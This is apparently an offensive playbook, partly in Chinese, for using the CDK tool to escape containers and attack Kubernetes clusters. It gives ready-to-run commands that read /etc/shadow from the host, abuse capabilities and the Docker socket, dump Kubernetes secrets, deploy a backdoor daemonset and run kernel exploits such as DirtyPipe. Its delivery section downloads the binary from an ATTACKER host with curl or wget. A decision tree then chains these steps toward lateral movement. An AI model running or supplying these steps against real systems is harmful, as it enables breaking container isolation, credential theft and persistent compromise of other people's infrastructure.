cdk-escape

CDK Container Penetration and Escape

CDK is the Swiss Army knife of container penetration—a single binary that handles in-container information gathering, vulnerability detection, and escape exploitation. After getting a container shell, first run CDK assessment, then choose an escape path.

Project address:https://github.com/cdk-team/CDK

Step 1: Environment Assessment

Run the assessment immediately after entering the container; CDK will automatically detect all possible escape paths:

# 全自动评估（推荐首选）
cdk evaluate

The assessment output will list: - Container runtime type (Docker/containerd/CRI-O) - Container privileges (privileged/capabilities) - Exploitable mount points - Available escape techniques - K8s Service Account Token - Network information

## 逃逸技术

### 特权容器逃逸

```bash
# 检测到 privileged=true 时
cdk run mount-cgroup "cat /etc/shadow"
# 或
cdk run mount-disk

# 通过 /dev 设备逃逸
cdk run mount-procfs "cat /etc/shadow"

capabilities escape

# CAP_SYS_ADMIN
cdk run mount-cgroup "whoami"

# CAP_DAC_READ_SEARCH
cdk run cap-dac-read-search

# CAP_SYS_PTRACE
cdk run check-ptrace
cdk run shim-pwn  # containerd-shim 提权

Docker Socket escape

# 发现挂载了 /var/run/docker.sock
cdk run docker-sock-check
cdk run docker-sock-deploy "attacker_image"

K8s escape

# 利用 Service Account Token
cdk run k8s-secret-dump
cdk run k8s-configmap-dump

# 创建特权 Pod 逃逸
cdk run k8s-backdoor-daemonset

Kernel vulnerability escape

# CVE-2021-22555 (Netfilter)
cdk run exploit-CVE-2021-22555

# CVE-2022-0847 (DirtyPipe)
cdk run exploit-CVE-2022-0847

# runc CVE-2019-5736
cdk run runc-pwn

In-container information gathering

# 扫描内网服务（容器网络内）
cdk run service-probe 10.0.0.0/24

# 探测 K8s API Server
cdk run k8s-service-discovery

# 获取元数据服务（云环境）
cdk run cloud-metadata

Tool delivery

CDK is a statically compiled single binary, making it very convenient to deliver into a container:

# 方式 1：通过 Web 漏洞下载
curl -o /tmp/cdk https://ATTACKER/cdk && chmod +x /tmp/cdk

# 方式 2：通过 Python 临时 HTTP 服务
# 攻击机：python3 -m http.server 8000
# 容器内：wget http://ATTACKER:8000/cdk -O /tmp/cdk && chmod +x /tmp/cdk

Decision tree

进入容器后：
├─ 第一步：cdk evaluate（自动评估所有逃逸路径）
├─ privileged=true → cdk run mount-cgroup / mount-disk
├─ 有 docker.sock → cdk run docker-sock-deploy
├─ 有 K8s SA Token → cdk run k8s-secret-dump
├─ 有 capabilities → 对应 capability 的利用
├─ 以上都没有 → 检查内核版本，尝试内核漏洞
└─ 也逃不了 → 容器内横向（service-probe 扫网段）